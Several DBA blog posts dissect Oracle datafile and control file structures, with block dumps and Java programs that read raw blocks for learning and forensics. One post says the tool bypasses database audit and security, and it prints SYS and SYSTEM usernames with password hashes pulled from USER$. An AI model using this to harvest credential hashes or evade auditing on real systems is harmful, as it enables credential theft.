Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73512
Cleanout SCN Base :- 1072042
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971656
ITLSlot :- 1
Undo Segment :- 10
Undo Segment Slot :- 29
Transaction Sequence :- 633
Undo Block Address :- 12583185
Undo Sequence :- 140
Undo Record Number :- 3
Spare 1 :- 0
Flag :- 8193
_ktbitun :- 0
Base :- 1072043
ITLSlot :- 2
Undo Segment :- 5
Undo Segment Slot :- 19
Transaction Sequence :- 814
Undo Block Address :- 12583108
Undo Sequence :- 169
Undo Record Number :- 33
Spare 1 :- 0
Flag :- 8193
_ktbitun :- 0
Base :- 1072047
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8054
Available Space after Commit:- 8032
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8072(+100)
Row Offset 2 :- 8054(+100)
1 Row Header start :-8172
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- AAAAA
Column 3 Bytes 3 Data :- BBB
2 Row Header start :-8154
Flags :- 2C Table Data
Lock Status :- 02
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- CCCCC
Column 3 Bytes 5 Data :- DDDDD

Now we update one record in the table.

SQL> update test_table set attribute1 = 'EEEEE' where attribute1 = 'AAAAA';
1 row updated.
SQL> commit;
Commit complete.
SQL> alter system checkpoint;
System altered.

After dumping the block we can see that :-

1. block SCNs were updated
2. block CheckSum was updated
3. ITL Slot 1 was used for the transaction
4. ITL Slot 2 flag was updated to -32768 (I guess indicating unused)
5. The Row lock status for the untouched row was cleared.
6. The data was updated.

Block 139 Contains Object ID 73512
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971659
SCN Base :- 1072247
SCN Wrap :- 0
Sequence :- 02
Flag 01-NEW :- 06
CheckSum :- -6509
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73512
Cleanout SCN Base :- 1072246
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971656
ITLSlot :- 1
Undo Segment :- 4
Undo Segment Slot :- 16
Transaction Sequence :- 596
Undo Block Address :- 12583572
Undo Sequence :- 147
Undo Record Number :- 55
Spare 1 :- 0
Flag :- 8193
_ktbitun :- 0
Base :- 1072247
ITLSlot :- 2
Undo Segment :- 5
Undo Segment Slot :- 19
Transaction Sequence :- 814
Undo Block Address :- 12583108
Undo Sequence :- 169
Undo Record Number :- 33
Spare 1 :- 0
Flag :- -32768
_ktbitun :- 0
Base :- 1072047
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8054
Available Space after Commit:- 8032
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8072(+100)
Row Offset 2 :- 8054(+100)
1 Row Header start :-8172
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- EEEEE
Column 3 Bytes 3 Data :- BBB
2 Row Header start :-8154
Flags :- 2C Table Data
Lock Status :- 00
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- CCCCC
Column 3 Bytes 5 Data :- DDDDD

Categories: DBA Blogs

Java program to extract records from Oracle Control Files.

Mon, 2013-02-25 21:03

Following is the simple Java program I used to extract database name, file names, and tablespace names from Oracle Control Files. It could easily be modified to extract backup information etc.

It is a large Java program laid out in order of execution for easy reading and learning purposes. Yes, I know that a "real Java programmer" would do a better job, and there is lots of room for improvement, but it is good enough for learning about Oracle data structures.

Anyone is welcome to download it, modify it, and use it for any purpose, but I don't guarantee that it extracts all records available, or will work on all OS or DB versions. Use it at your own risk. Enjoy !

An example of the output can be found here :- http://blog.contractoracle.com/2013/02/oracle-control-file-physical-structure.html

# ControlScanCMD.java

import java.io.IOException;
import java.io.RandomAccessFile;

public class ControlScanCMD {

public static void main(String[] args) {
try {

RandomAccessFile raf = new RandomAccessFile("D:\\oracle\\WIN64\\CONTROLFILE\\O1_MF_8L5T35GK_.CTL", "r");
int BlockSize = 8192*2;
int BlockStart = 0;
int BlockNum;
int FileSize =(int)raf.length();
int NumBlocks = FileSize / BlockSize;
int NextRecordStart;
int FileRecordSize = 524;
int TablespaceRecordSize = 68;
int HeaderSize =18;
int TailSize = 4;
int RecordCount = 0;
int FileIdOffset = 4;
int TablespaceFirstChar = 9;
int NameOffset = 14;
int Pointer = 0;
byte MyByte = 0;
char MyChar = 0;
int FileID = 0;

System.out.println("Number of Blocks :- " + NumBlocks);

// get database name

BlockStart = BlockSize * 1;
System.out.println("Block :- 2");
System.out.print("Tablespace Name :- ");

raf.seek(BlockStart + HeaderSize + NameOffset);

for(int ct1 = 1; ct1 <= 8; ct1++)
{
MyByte = raf.readByte();
if (MyByte == 0)
{
System.out.print("");
//System.out.println(String.format("%02X ", raf.readByte()));
}
else if (32 < MyByte && MyByte <= 126)
{
//MyChar = ((char)Integer.parseInt(String.format("%02X", MyByte), 16));
MyChar = (char)MyByte;
System.out.print("" + MyChar);

//jTextAreaFile.append(" " + ct + "-" + String.format("%02X", MyByte) + " ");
}
else
{
System.out.print(" " + ct1 + "-" + String.format("%02X", MyByte) + " ");
}
}

System.out.println("");
System.out.println("");

// get file details

for(BlockNum = 31; BlockNum <= 32; BlockNum++)
{
BlockStart = BlockSize * BlockNum;
NextRecordStart = HeaderSize;
RecordCount = 0;
System.out.println("Block :- " + BlockNum);

raf.seek(BlockStart + NextRecordStart + FileIdOffset);
FileID = raf.readByte();

while (FileID != 0 && (NextRecordStart + FileRecordSize) < BlockSize)
{
RecordCount = RecordCount + 1;
raf.seek(BlockStart + NextRecordStart);

System.out.println("Record :- " + RecordCount);
System.out.println("Byte 1 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 2 :- " + String.format("%02X ", raf.readByte()));
System.out.println("File Type 3-LOG, 4-DATA, 7-TEMP :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 4 :- " + String.format("%02X ", raf.readByte()));
System.out.println("File ID :- " + raf.readByte());
System.out.println("Byte 6 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 7 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 8 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 9 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 10 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 11 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 12 :- " + String.format("%02X ", raf.readByte()));
System.out.print("File Name :- ");

for(int ct1 = 1; ct1 <= 512; ct1++)
{
MyByte = raf.readByte();
if (MyByte == 0)
{
System.out.print("");
//System.out.println(String.format("%02X ", raf.readByte()));
}
else if (32 < MyByte && MyByte <= 126)
{
//MyChar = ((char)Integer.parseInt(String.format("%02X", MyByte), 16));
MyChar = (char)MyByte;
System.out.print("" + MyChar);

//jTextAreaFile.append(" " + ct + "-" + String.format("%02X", MyByte) + " ");
}
else
{
System.out.print(" " + ct1 + "-" + String.format("%02X", MyByte) + " ");
}
}
System.out.println("");
System.out.println("");
NextRecordStart = NextRecordStart + FileRecordSize;
raf.seek(BlockStart + NextRecordStart + FileIdOffset);
FileID = raf.readByte();
}

// get tablespace names

for(BlockNum = 179; BlockNum <= 179; BlockNum++)
{
BlockStart = BlockSize * BlockNum;
NextRecordStart = HeaderSize;
RecordCount = 0;
System.out.println("Block :- " + BlockNum);

raf.seek(BlockStart + NextRecordStart + TablespaceFirstChar);
FileID = raf.readByte();

while (FileID != 0 && (NextRecordStart + TablespaceRecordSize) < BlockSize)
{
RecordCount = RecordCount + 1;
raf.seek(BlockStart + NextRecordStart);

System.out.println("Record :- " + RecordCount);
System.out.println("Byte 1 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 2 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Tablespace ID :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 4 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 5 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 6 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 7 :- " + String.format("%02X ", raf.readByte()));
System.out.println("Byte 8 :- " + String.format("%02X ", raf.readByte()));
System.out.print("Tablespace Name :- ");

for(int ct1 = 1; ct1 <= 30; ct1++)
{
MyByte = raf.readByte();
if (MyByte == 0)
{
System.out.print("");
//System.out.println(String.format("%02X ", raf.readByte()));
}
else if (32 < MyByte && MyByte <= 126)
{
//MyChar = ((char)Integer.parseInt(String.format("%02X", MyByte), 16));
MyChar = (char)MyByte;
System.out.print("" + MyChar);

//jTextAreaFile.append(" " + ct + "-" + String.format("%02X", MyByte) + " ");
}
else
{
System.out.print(" " + ct1 + "-" + String.format("%02X", MyByte) + " ");
}
}
System.out.println("");
System.out.println("");
NextRecordStart = NextRecordStart + TablespaceRecordSize;
raf.seek(BlockStart + NextRecordStart + TablespaceFirstChar);
FileID = raf.readByte();
}
}

}
raf.close();

} catch (IOException ex) {
ex.printStackTrace();
}

}
}

Categories: DBA Blogs

Java program to extract data from Oracle datafile blocks.

Mon, 2013-02-25 20:54

I wrote the following Java program to explore the Oracle data block. It scans the specified Oracle datafile for blocks belonging to a particular object and then extracts the row data directly from datafile blocks.

Because it extracts directly from the block it can be used to extract data from corrupt files or blocks, truncated tables, and even extract deleted rows.
The program is written purely for learning, so I don't guarantee it will extract all records in a block, or that it can handle all data types. I am happy for anyone to copy the program or improve it, but I do not provide any guarantee for it. Use it at your own risk.
It is a large Java program laid out in order of execution for easy reading and learning purposes. Yes, I know that a "real Java programmer" would do a better job, and there is lots of room for improvement, but it is good enough for learning about Oracle data structures.

An example of the program output can be found here :- http://blog.contractoracle.com/2013/02/extracting-data-directly-from-oracle.html

# OraTabExport.java

import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;

public class OraTabExport {

public static void main(String[] args) {
try {

RandomAccessFile raf = new RandomAccessFile("D:\\oracle\\WIN64\\DATAFILE\\O1_MF_TEST_8LRBSQ59_.DBF", "r");
int BlockSize = 8192;
int ObjectID = 73520;

int StartByte = 0;
int ObjectIDLoc = 24;
int ITLSlotsLoc = 36;
int ITLSlots = 2;
int ITLSlot = 0;
int NumTablesLoc = 0;
int BlockObjectID = 0;
int FileSize =(int)raf.length();
int NumBlocks = FileSize / BlockSize;
int BlockNum = 0;
int DataHeaderStart = 0;
int TableDirectoryStart = 0;
int RowDirectoryStart =0;
int RowStart = 0;
int BlockHeaderSize = 20;
int TransactionHeaderSize = 24;
int DataHeaderSize = 14;
int TableDirectorySize = 4;
int NumTables = 0;
int TableNum = 0;
int NumTableRows = 0;
int TotalTableRows = 0;
int RowNumber = 0;
int NumColumns = 0;
int ColNum = 0;
int ColumnSize = 0;
int RowFlag = 0;
short RowOffset = 0;
int MinOffset = 0;
int MaxOffset = 0;
int OffsetCount = 0;
int ByteNum = 0;
Byte MyByte = 0;
char MyChar = 0;

for(BlockNum = 0; BlockNum <= NumBlocks -1; BlockNum++)
{
StartByte = BlockSize * BlockNum;
raf.seek(StartByte + ObjectIDLoc);
BlockObjectID = Integer.reverseBytes(raf.readInt());

raf.seek(StartByte + ITLSlotsLoc);
ITLSlots = raf.read();

if ( BlockObjectID == ObjectID)
{

raf.seek(StartByte);

System.out.println("\nBlock " + BlockNum + " Contains Object ID " + BlockObjectID);

// The first 20 bytes is the Block Header

System.out.println("Block Header start :- " + 0);
System.out.println(" Block Type 06-DATA :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Block Format :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare1 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare2 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Relative Block Address :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" SCN Base :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" SCN Wrap :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Sequence :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Flag 01-NEW :- " + String.format("%02X ", raf.readByte()));
System.out.println(" CheckSum :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Spare3 :- " + Short.reverseBytes(raf.readShort()));

// The next 24 bytes are Fixed Transaction Header

System.out.println("Transaction Header start :- " + BlockHeaderSize);
System.out.println(" Type 01-DATA 02-INDEX :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare 1 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare 2 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare 3 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Object ID :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" Cleanout SCN Base :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" Cleanout SCN Wrap :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Spare 4 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Spare 5 :- " + String.format("%02X ", raf.readByte()));
System.out.println(" ITL Slots :- " + raf.readByte());
System.out.println(" UNKNOWN Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Flag 00-FREE :- " + String.format("%02X ", raf.readByte()));
System.out.println(" ITL TX Feeelist Slot :- " + String.format("%02X ", raf.readByte()));
System.out.println(" Next Block On Free List :- " + Integer.reverseBytes(raf.readInt()));

// Each ITL Slot has 24 bytes allocated.

for(ITLSlot = 1; ITLSlot <= ITLSlots; ITLSlot++)
{
System.out.println("ITLSlot :- " + ITLSlot);
System.out.println(" Undo Segment :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Undo Segment Slot :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Transaction Sequence :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" Undo Block Address :- " + Integer.reverseBytes(raf.readInt()));
System.out.println(" Undo Sequence :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Undo Record Number :- " + raf.readByte());
System.out.println(" Spare 1 :- " + raf.readByte());
System.out.println(" Flag :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" _ktbitun :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Base :- " + Integer.reverseBytes(raf.readInt()));
}

DataHeaderStart = BlockHeaderSize + TransactionHeaderSize + ITLSlots*TransactionHeaderSize + 8;
raf.seek(StartByte + DataHeaderStart);

// The Data header contains details of the number of tables, rows, and free space in the block.

System.out.println("Data Header start :- " + DataHeaderStart);
System.out.println(" Flags :- " + String.format("%02X ", raf.readByte()));
NumTables = raf.readByte();
System.out.println(" Number of Tables :- " + NumTables);
System.out.println(" Number of Rows :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Offset to Freespace Start :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Offset to Freespace End :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Available Space :- " + Short.reverseBytes(raf.readShort()));
System.out.println(" Available Space after Commit:- " + Short.reverseBytes(raf.readShort()));

TableDirectoryStart = DataHeaderStart + DataHeaderSize;
raf.seek(StartByte + TableDirectoryStart);

// The Table Directory has a list of tables in the block and row counts

System.out.println("Table Directory start :-" + TableDirectoryStart);
TotalTableRows = 0;

for(TableNum = 1; TableNum <= NumTables; TableNum++)
{
System.out.println(" Table :- " + TableNum);
System.out.println(" Offset :- " + Short.reverseBytes(raf.readShort()));
NumTableRows = Short.reverseBytes(raf.readShort());
TotalTableRows = TotalTableRows + NumTableRows;
System.out.println(" Number of Rows :- " + NumTableRows);
}

System.out.println(" Total Number of Rows :- " + TotalTableRows);

RowDirectoryStart = TableDirectoryStart + NumTables*TableDirectorySize;
raf.seek(StartByte + RowDirectoryStart);

// The Row Directory contains a list of rows in the block, with offsets to the first byte

System.out.println("Row Directory start :-" + RowDirectoryStart);

MinOffset = TotalTableRows*2;
MaxOffset = BlockSize - DataHeaderStart - 4;
RowOffset = 1;
OffsetCount = 0;

List RowOffsetList = new ArrayList();
while (RowOffset != 0 && OffsetCount < TotalTableRows)
{
RowOffset = Short.reverseBytes(raf.readShort());
if (RowOffset > MinOffset && RowOffset < MaxOffset)
{
OffsetCount = OffsetCount + 1;
System.out.println(" Row Offset " + OffsetCount + " :- " + RowOffset + "(+" + DataHeaderStart + ")");
RowOffsetList.add(RowOffset);
}
}

// Now go to each offset and get the row header which contains number of columns, row status etc

Iterator OffsetIterator = RowOffsetList.iterator();
RowNumber = 0;
while(OffsetIterator.hasNext())
{
RowOffset = (Short)OffsetIterator.next();
RowNumber = RowNumber + 1;
RowStart = DataHeaderStart + RowOffset;
raf.seek(StartByte + RowStart);
System.out.println(RowNumber + " Row Header start :-" + RowStart);

RowFlag = raf.readByte();
String RowFlagString = String.format("%02X ", RowFlag );
String RowFlagDecode = "";

// Translate the Row Flag to identify deleted rows, table data etc

switch (RowFlag) {
case 3: RowFlagDecode = "Junk ?";
break;
case 12: RowFlagDecode = "Chained ?";
break;
case 32: RowFlagDecode = "Chained ?";
break;
case 44: RowFlagDecode = "Table Data";
break;
case 60: RowFlagDecode = "Deleted";
break;
case 84: RowFlagDecode = "Cluster Key ?";
break;
case -84: RowFlagDecode = "Cluster Key ?";
break;
case 108: RowFlagDecode = "Cluster Data";
break;
case 124: RowFlagDecode = "Deleted";
break;
default: RowFlagDecode = "Invalid Flag";
break;
}

System.out.println(" Flags :- " + RowFlagString + " " + RowFlagDecode);
System.out.println(" Lock Status :- " + String.format("%02X ", raf.readByte()));

NumColumns = raf.readByte();
System.out.println(" Number of Columns :- " + NumColumns);
if (NumColumns == 0)
{
System.out.println("Integer :- " + Integer.reverseBytes(raf.readInt()));
System.out.println("Short :- " + Short.reverseBytes(raf.readShort()));
}

if (NumTables > 1)
{
System.out.println(" Cluster Byte :- " + String.format("%02X ", raf.readByte()));
}
if (RowFlag == 76)
{
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
}
if (RowFlag == 12)
{
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
//System.out.println("Read Byte :- " + String.format("%02X ", raf.readByte()));
System.out.println("Integer :- " + Integer.reverseBytes(raf.readInt()));
System.out.println("Short :- " + Short.reverseBytes(raf.readShort()));
}

if (RowFlag != 3) {

for(ColNum = 1; ColNum <= NumColumns; ColNum++){
ColumnSize = raf.read();

if (ColumnSize == 255)
{
System.out.print("Column " + ColNum + " Bytes " + ColumnSize + " Data :- ");
System.out.println("NULL");
}
else if (ColumnSize == 254)
{
ColumnSize = Short.reverseBytes(raf.readShort());
System.out.print("Column " + ColNum + " Bytes " + ColumnSize + " Data :- ");
for(ByteNum = 0; ByteNum < ColumnSize; ByteNum++)
{

//System.out.print("" + String.format("%02X ", MyByte));
//MyByte = raf.readByte();
System.out.print("" + (char)raf.readByte());
}
System.out.println("");
}
else
{

System.out.print("Column " + ColNum + " Bytes " + ColumnSize + " Data :- ");
for(ByteNum = 0; ByteNum < ColumnSize; ByteNum++)
{

MyByte = raf.readByte();

//System.out.print("" + raf.readByte());

if (MyByte < 32 || MyByte > 126)
{
System.out.print("" + String.format("%02X ", MyByte));
}
else
{
MyChar = ((char)Integer.parseInt(String.format("%02X", MyByte), 16));
System.out.print("" + MyChar);

}
}
System.out.println("");

}
}
}
}

}
}

raf.close();

} catch (IOException ex) {
ex.printStackTrace();
}
}
}

Categories: DBA Blogs

Extracting data directly from Oracle datafiles using Java.

Mon, 2013-02-25 02:26

I wrote a Java program today to scan Oracle datafiles for specific objects and then extract the data. It first extracts the Block Header, Transaction Header, Data Header, Table Directory, Row Directory, Row Header, and finally the Row Data.

This allows me to extract any data I need direct from datafiles while bypassing audit and security at database level. Following is example output running the program to scan for object 10 which is a clustered table containing USER$ and extracting data including usernames and password hashes.
Being able to directly access data in blocks allows more detailed analysis and auditing, so I should be able to extract data for tables that have been truncated, extract deleted rows, or identify which blocks have changed since a specific SCN.

The source code can be found here :- http://blog.contractoracle.com/2013/02/java-program-to-extract-data-from.html
The output still contains a bit of Hex data, so more work is needed to convert to proper char and date formats.
Block 209 Contains Object ID 10Block Header start :- 0 Block Type 06-DATA :- 06  Block Format :- A2  Spare1 :- 00  Spare2 :- 00  Relative Block Address :- 4194513 SCN Base :- 954865 SCN Wrap :- 0 Sequence :- 01  Flag 01-NEW :- 06  CheckSum :- 10511 Spare3 :- 0
Transaction Header start :- 20 Type 01-DATA 02-INDEX :- 01  Spare 1 :- 00  Spare 2 :- 00  Spare 3 :- 00  Object ID :- 10 Cleanout SCN Base :- 954861 Cleanout SCN Wrap :- 0 Spare 4 :- 00  Spare 5 :- 00  ITL Slots :- 2 UNKNOWN Byte :- 00  Flag 00-FREE :- 03  ITL TX Feeelist Slot :- 00  Next Block On Free List :- 0
Data Header start :- 92 Flags :- 00  Number of Tables :- 2 Number of Rows :- 43 Offset to Freespace Start :- -1 Offset to Freespace End :- 108 Available Space :- 4711 Available Space after Commit:- 5519
Table Directory start :-106 Table :- 1 Offset :- 0 Number of Rows :- 21 Table :- 2 Offset :- 21 Number of Rows :- 22 Total Number of Rows :- 43
Row Directory start :-114 Row Offset 1 :- 8074(92) Row Offset 2 :- 8005(92) Row Offset 3 :- 7829(92) Row Offset 4 :- 7740(92) Row Offset 5 :- 7650(92) Row Offset 6 :- 7559(92) Row Offset 7 :- 7473(92) Row Offset 8 :- 7294(92) Row Offset 9 :- 7192(92) Row Offset 10 :- 7089(92) Row Offset 11 :- 6987(92) Row Offset 12 :- 6809(92) Row Offset 13 :- 6709(92) Row Offset 14 :- 6609(92) Row Offset 15 :- 6504(92) Row Offset 16 :- 6412(92) Row Offset 17 :- 6220(92) Row Offset 18 :- 6116(92) Row Offset 19 :- 6021(92) Row Offset 20 :- 5842(92) Row Offset 21 :- 5733(92) Row Offset 22 :- 5951(92) Row Offset 23 :- 4882(92) Row Offset 24 :- 7762(92) Row Offset 25 :- 7672(92) Row Offset 26 :- 7581(92) Row Offset 27 :- 7495(92) Row Offset 28 :- 4711(92) Row Offset 29 :- 7214(92) Row Offset 30 :- 7111(92) Row Offset 31 :- 7009(92) Row Offset 32 :- 5391(92) Row Offset 33 :- 6731(92) Row Offset 34 :- 6631(92) Row Offset 35 :- 6526(92) Row Offset 36 :- 6434(92) Row Offset 37 :- 6242(92) Row Offset 38 :- 6138(92) Row Offset 39 :- 6043(92) Row Offset 40 :- 5864(92) Row Offset 41 :- 5755(92) Row Offset 42 :- 5647(92) Row Offset 43 :- 5562(92)
23 Row Header start :-4974 Flags :- 108 6C Cluster Data Lock Status :- 00  Number of Columns :- 22 Cluster Byte :- 01 Column 1 Bytes 3 Data :- SYSColumn 2 Bytes 2 Data :- C1 02 Column 3 Bytes 16 Data :- DCB748A5BC5390F2Column 4 Bytes 1 Data :- 80 Column 5 Bytes 2 Data :- C1 04 Column 6 Bytes 7 Data :- xn03 1E 0B 08 7Column 7 Bytes 7 Data :- xq02 13 0B 3'Column 8 Bytes 7 Data :- xn03 1E 0C 07 9Column 9 Bytes 7 Data :- xn03 1E 0C 07 9Column 10 Bytes 1 Data :- 80 Column 11 Bytes 255 Data :- NULLColumn 12 Bytes 2 Data :- C1 02 Column 13 Bytes 255 Data :- NULLColumn 14 Bytes 255 Data :- NULLColumn 15 Bytes 1 Data :- 80 Column 16 Bytes 1 Data :- 80 Column 17 Bytes 22 Data :- DEFAULT_CONSUMER_GROUPColumn 18 Bytes 255 Data :- NULLColumn 19 Bytes 1 Data :- 80 Column 20 Bytes 255 Data :- NULLColumn 21 Bytes 255 Data :- NULLColumn 22 Bytes 62 Data :-S:CDD630F4165A338BF851D4552897EB41EB6A9FCF7587B366260E0352A7C7

28 Row Header start :-4803 Flags :- 108 6C Cluster Data Lock Status :- 02  Number of Columns :- 22 Cluster Byte :- 05 Column 1 Bytes 6 Data :- SYSTEMColumn 2 Bytes 2 Data :- C1 02 Column 3 Bytes 16 Data :- EED9B65CCECDB2E9Column 4 Bytes 1 Data :- 80 Column 5 Bytes 2 Data :- C1 04 Column 6 Bytes 7 Data :- xn03 1E 0B 08 8Column 7 Bytes 7 Data :- xq02 13 0B 3'Column 8 Bytes 7 Data :- xn03 1E 0C 07 9Column 9 Bytes 7 Data :- xn03 1E 0C 07 9Column 10 Bytes 1 Data :- 80 Column 11 Bytes 255 Data :- NULLColumn 12 Bytes 2 Data :- C1 02 Column 13 Bytes 255 Data :- NULLColumn 14 Bytes 255 Data :- NULLColumn 15 Bytes 1 Data :- 80 Column 16 Bytes 1 Data :- 80 Column 17 Bytes 22 Data :- DEFAULT_CONSUMER_GROUPColumn 18 Bytes 255 Data :- NULLColumn 19 Bytes 1 Data :- 80 Column 20 Bytes 255 Data :- NULLColumn 21 Bytes 255 Data :- NULLColumn 22 Bytes 62 Data :- S:83FDD7C19ABAB64415514C28AD798DDAA3FE619B10B1AEA79E8463DC2566
If anyone wants more details on the Oracle block structure you can check :-http://orafaq.com/papers/dissassembling_the_data_block.pdfand http://www.v3rity.com/OracleForensicsDataBlock.pdf

Categories: DBA Blogs

Oracle Control File Physical Structure

Mon, 2013-02-25 01:26

I did a bit of investigation of the Oracle Control File structure today using a Hex editor and Java program to extract data. Following are my observations, based on a few 11g databases on 64 bit Windows and Linux. Format may be different on other OS and database versions.

The Java program I wrote to extract the data below can be found here :- http://blog.contractoracle.com/2013/02/java-program-to-extract-records-from.html

The basics :-

The controlfile is composed of blocks that are 2X database block size.
Each block has a header of 18 bytes.
Each block has a tail of 4 bytes.
Each block is duplexed within the datafile for redundancy. E.g Block 31 is duplexed to Block 32.

The database name is stored in block 2 starting at byte 32.
Number of Blocks :- 595Block :- 2Tablespace Name :- WIN64
File information starts in block 31 and is contained in records of 524 bytes.The first 12 bytes is record header information, and the last 512 bytes is the file name. Byte 3 indicates the file type (3=LOG, 4=DATA, 7=TEMPFILE) and byte 5 appears to be file ID (unique for each file type)
Following is an example of extracting file details from a Control File :-
Number of Blocks :- 595Block :- 31Record :- 1Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 03 Byte 4 :- 00 File ID :- 3Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\ONLINELOG\O1_MF_3_8L5T3995_.LOG
Record :- 2Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 03 Byte 4 :- 00 File ID :- 2Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\ONLINELOG\O1_MF_2_8L5T38G3_.LOG
Record :- 3Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 03 Byte 4 :- 00 File ID :- 1Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\ONLINELOG\O1_MF_1_8L5T37VY_.LOG
Record :- 4Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 04 Byte 4 :- 00 File ID :- 4Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\DATAFILE\O1_MF_USERS_8L5T0ZC4_.DBF
Record :- 5Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 04 Byte 4 :- 00 File ID :- 3Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\DATAFILE\O1_MF_UNDOTBS1_8L5T0ZBF_.DBF
